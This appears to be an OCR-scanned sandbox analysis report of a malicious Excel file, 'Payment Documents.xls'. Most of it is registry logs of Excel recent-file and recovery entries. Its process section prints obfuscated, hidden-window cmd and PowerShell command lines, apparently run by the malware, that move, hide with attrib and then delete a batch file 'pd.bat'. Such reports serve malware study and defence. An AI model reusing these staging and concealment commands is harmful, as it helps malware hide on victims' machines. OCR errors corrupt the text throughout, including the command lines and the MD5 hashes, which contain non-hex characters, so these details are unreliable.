HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Max Display

Item 1

Iltem 2

Item 3

Iltem 4

Item 5

Iltem 6

Item 7

Item 8

Item 9

Item 10

Iltem 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

dword

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data
25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EF612 binary 04 00 00 00 B8 05 00 00 30 00 00 00  success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 43 00 3A 00 5C 00 55 00 73 00 65 00

iency\DocumentRecovery\EF612 7200 73 00 5C 00 41 00 6C 00 62 00

7500 73 00 5C 00 41 00 70 00 70 00
44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 78 00 6C 00
73 00 6D 00 2E 00 73 00 68 00 65 00
65 00 74 00 2E 00 63 00 73 00 76 00
00 00 00 00 22 00 00 00 43 00 3A 00
5C 00 55 00 73 00 65 00 72 00 73 00
5C 00 41 00 6C 00 62 00 75 00 73 00
5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00
70 00 5C 00 01 00 00 00 01 00 00 00
91 OF BO 91 49 E4 D6 01 12 F6 OE 00
12 F6 OE 00 00 00 00 00 B8 02 00 00
66 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EF68F binary 04 00 00 00 B8 05 00 00 2C 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 43 00 3A 00 5C 00 55 00 73 00 65 00

iency\DocumentRecovery\EF68F 7200 73 00 5C 00 41 00 6C 00 62 00

7500 73 00 5C 00 44 00 65 00 73 00
6B 00 74 00 6F 00 70 00 5C 00 50 00
61 00 79 00 6D 00 65 00 6E 00 74 00
20 00 44 00 6F 00 63 00 75 00 6D 00
65 00 6E 00 74 00 73 00 2E 00 78 00
6C 00 73 00 00 00 00 00 17 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 44 00 65 00 73 00
6B 00 74 00 6F 00 70 00 5C 00 01 00
00 00 01 00000054 DD C7 91 49 E4
D6 01 8F F6 OE 00 8F F6 OE 00 00 00
00 00 B8 02 00 00 6E 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00
HKEY_CURRENT_USER\Software\Mic kv binary 6B 76 36 00 B8 05 00 00 02 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resiliency\Startupltems 00 00 00 00 5C 00 00 00 01 00 00 00

2C 00 00 00 24 00 00 00 70 00 61 00
79 00 6D 00 65 00 6E 00 74 00 20 00
64 00 6F 00 63 00 75 00 6D 00 65 00
6E 00 74 00 73 00 2E 00 78 00 6C 00
73 00 00 00 70 00 61 00 79 00 6D 00
65 00 6E 00 74 00 20 00 64 00 6F 00
63 00 75 00 6D 00 65 00 6E 00 74 00
73 00 00 00
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Key Path

HKEY_LOCAL_MACHINE\SOFTWARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109E6009040010000
0000F01FEC\Usage

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\F909C

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

ProductNonBootFilesIntl_

1033

F909C

Max Display

Max Display

Type

dword

binary

dword

dword

Data
1378222081

04 00 00 00 B8 05 00 00 2A 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
00 00 00 00 22 00 00 00 43 00 3A 00
5C 00 55 00 73 00 65 00 72 00 73 00
5C 00 41 00 6C 00 62 00 75 00 73 00
5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00
70 00 5C 00 01 00 00 00 01 00 00 00
E9 2B 48 A9 49 E4 D6 01 9C 90 OF 00
9C 90 OF 00 00 00 00 00 B8 02 00 00
56 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

25

25

Completion

success or wait

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

1

1

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Item 1

Iltem 2

Item 3

Iltem 4

Item 5

Item 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Item 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic F9109 binary 04 00 00 00 B8 05 00 00 2A 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 43 00 3A 00 5C 00 55 00 73 00 65 00

iency\DocumentRecovery\F9109 7200 73 00 5C 00 41 00 6C 00 62 00

7500 73 00 5C 00 41 00 70 00 70 00
44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 69 00 6D 00
67 00 73 00 2E 00 68 00 74 00 6D 00
00 00 00 00 22 00 00 00 43 00 3A 00
5C 00 55 00 73 00 65 00 72 00 73 00
5C 00 41 00 6C 00 62 00 75 00 73 00
5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00
70 00 5C 00 01 00 00 00 01 00 00 00
E9 2B 48 A9 49 E4 D6 01 09 91 OF 00
09 91 OF 00 00 00 00 00 B8 02 00 00
56 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

Key Value Modified

Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
HKEY_LOCAL_MACHINE\SOF ProductNonBootFilesIntl_ dword 1378222081 1378222082 success or wait 1 7FEEAC59ACO unknown

TWARE\Mi 1033
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109E6009040010
0000000F01FEC\Usage
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Analysis Process: cmd.exe PID: 2316 Parent PID: 1464

General

Start time: 08:32:48

Start date: 06/01/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: cmd /c powersheM?l -w 1 stARt™-sIE"Ep 3; Move-Item 'pd.bat' -Destination '$e ' nV:T"EMP*
Imagebase: 0x4ac50000

File size: 345088 bytes

MDS5 hash: 5746BD7E255DD6ABAFAQ06F7C42C1BA41
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: cmd.exe PID: 2280 Parent PID: 1464

General

Start time: 08:32:48

Start date: 06/01/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: cmd /c powersheM? -w 1 stARt-sIE"Ep 12; Remove-ltem -Path pd.bat -Force
Imagebase: 0x4ac50000

File size: 345088 bytes

MDS5 hash: 5746BD7E255DD6ABAFAQ06F7C42C1BA41
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: cmd.exe PID: 2328 Parent PID: 1464

General

Start time: 08:32:49

Start date: 06/01/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: cmd /c powersheM? -w 1 stARt-sIEEp 1; attrib +s +h pd.bat
Imagebase: 0x4ac50000

File size: 345088 bytes

MDS5 hash: 5746BD7E255DD6ABAFAQ06F7C42C1BA41
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: powershell.exe PID: 1100 Parent PID: 2316

General
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Start time: 08:32:49

Start date: 06/01/2021

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): false

Commandline: powershell -w 1 stARt’-sIE'Ep 3; Move-Item ‘pd.bat' -Destination '$e'nV:T EMP"
Imagebase: 0x13f930000

File size: 473600 bytes

MDS5 hash: 852D67A27E454BD389FA7TF02A8CBE23F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: high

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol

Source
Old File Path New File Path Completion Count Address Symbol

Source
File Path Offset Length Value Ascii Completion Count Address Symbol

File Read
Source

File Path Offset Length Completion Count Address Symbol
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEEA3B5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 6304 success or wait 3 7FEEA3B5208 unknown
C:\Windows\Microsoft. NET\Framework64\v2.0.50727\CONFIG\machine.config unknown 4095 success or wait 1 7FEEA4DA287 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 success or wait 4 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 781 end of file 1 7FEEA54BEC7 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\getevent.types.ps1xml unknown 4096 end of file 1 7FEEA54BEC7 ReadFile
